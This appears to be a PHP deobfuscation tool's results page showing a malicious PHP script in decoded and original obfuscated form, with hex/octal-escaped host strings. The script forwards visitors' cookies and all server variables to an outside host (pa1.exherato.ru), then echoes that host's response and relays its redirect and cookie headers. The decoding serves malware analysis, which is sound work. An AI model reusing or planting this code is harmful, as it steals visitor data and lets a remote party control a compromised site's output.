Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $cookie=&$_COOKIE;$server=$_SERVER;$co='';if(!empty($cookie)){foreach($cookie as $..
Decoded Output download
<?php
$cookie=&$_COOKIE;$server=$_SERVER;$co='';if(!empty($cookie)){foreach($cookie as $cn=>$cv){if($co)$co.='; ';$co.=$cn.'='.addslashes($cv);}}
$curlinit="curl_init";
$host="pa1.exherato.ru";
$path="/proxyfolder/fufohomjafwu";
pa1.exherato.ru/proxyfolder/fufohomjafwu
foreach($server as $cn=>$cv)$server[$cn]=$cn.'='.urlencode(strval($cv));$post=implode('&',$server);
if(is_callable($curlinit)){
$curlsetopt="curl_setopt";$curlexec="curl_exec";
$ch=$curlinit();
$curlsetopt($ch,CURLOPT_URL,"http://".$host.$path);
$curlsetopt($ch,CURLOPT_POSTFIELDS,$post);
$curlsetopt($ch,CURLOPT_RETURNTRANSFER,1);
$curlsetopt($ch,CURLOPT_HEADERFUNCTION,'headerfunction');
if($co)$curlsetopt($ch,CURLOPT_COOKIE,$co);
echo $curlexec($ch);
}else{
$fsockopen="fsockopen";$fclose="fclose";$fwrite="fwrite";$fgets="fgets";
$file=$fsockopen($host,80) or die();
$header="POST $path HTTP/1.1
Host: $host
Content-Type: application/x-www-form-urlencoded
";
if($co)$header.="Cookie: $co
";
$header.="Content-length: ".strlen($post)."
Connection: Close
";
$fwrite($file,$header.$post);$read='';while(!feof($file)){$read.=$fgets($file,1024);}$fclose($file);
list($header,$body)=explode("
",$read,2);$header=explode("
",$header);$ck=0;
foreach($header as $line){headerfunction(0,$line);if(strpos($line,"chunked")!==false)$ck=1;}
if($ck){for($out='';!empty($body);$body=trim($body)){$sn=strpos($body,"
");$en=hexdec(substr($body,0,$sn));$out.=substr($body,$sn+2,$en);$body=substr($body,$sn+2+$en);}echo $out;}else echo $body;
}
function headerfunction($ch,$hl){if(strpos($hl,"Content-Type")!==false||strpos($hl,"404")!==false||strpos($hl,"301")!==false||strpos($hl,"Location")!==false||strpos($hl,"Set-Cookie")!==false)header($hl);return strlen($hl);
}?>
Did this file decode correctly?
Original Code
<?php
$cookie=&$_COOKIE;$server=$_SERVER;$co='';if(!empty($cookie)){foreach($cookie as $cn=>$cv){if($co)$co.='; ';$co.=$cn.'='.addslashes($cv);}}
$curlinit="curl_init";
$host="\160\x61\61\56\x65\170\x68\145\162\x61\x74\157\x2e\162\x75";
$path="\57\x70\x72\157\x78\171\146\157\x6c\x64\145\x72\57\x66\x75\146\157\150\157\155\x6a\x61\146\167\165";
pa1.exherato.ru/proxyfolder/fufohomjafwu
foreach($server as $cn=>$cv)$server[$cn]=$cn.'='.urlencode(strval($cv));$post=implode('&',$server);
if(is_callable($curlinit)){
$curlsetopt="curl_setopt";$curlexec="curl_exec";
$ch=$curlinit();
$curlsetopt($ch,CURLOPT_URL,"http://".$host.$path);
$curlsetopt($ch,CURLOPT_POSTFIELDS,$post);
$curlsetopt($ch,CURLOPT_RETURNTRANSFER,1);
$curlsetopt($ch,CURLOPT_HEADERFUNCTION,'headerfunction');
if($co)$curlsetopt($ch,CURLOPT_COOKIE,$co);
echo $curlexec($ch);
}else{
$fsockopen="fsockopen";$fclose="fclose";$fwrite="fwrite";$fgets="fgets";
$file=$fsockopen($host,80) or die();
$header="POST $path HTTP/1.1\r\nHost: $host\r\nContent-Type: application/x-www-form-urlencoded\r\n";
if($co)$header.="Cookie: $co\r\n";
$header.="Content-length: ".strlen($post)."\r\nConnection: Close\r\n\r\n";
$fwrite($file,$header.$post);$read='';while(!feof($file)){$read.=$fgets($file,1024);}$fclose($file);
list($header,$body)=explode("\r\n\r\n",$read,2);$header=explode("\r\n",$header);$ck=0;
foreach($header as $line){headerfunction(0,$line);if(strpos($line,"chunked")!==false)$ck=1;}
if($ck){for($out='';!empty($body);$body=trim($body)){$sn=strpos($body,"\r\n");$en=hexdec(substr($body,0,$sn));$out.=substr($body,$sn+2,$en);$body=substr($body,$sn+2+$en);}echo $out;}else echo $body;
}
function headerfunction($ch,$hl){if(strpos($hl,"Content-Type")!==false||strpos($hl,"404")!==false||strpos($hl,"301")!==false||strpos($hl,"Location")!==false||strpos($hl,"Set-Cookie")!==false)header($hl);return strlen($hl);
}?>
Function Calls
| None |
Stats
| MD5 | 1463abc00af271c16dfc95a97ab0a3b1 |
| Eval Count | 0 |
| Decode Time | 82 ms |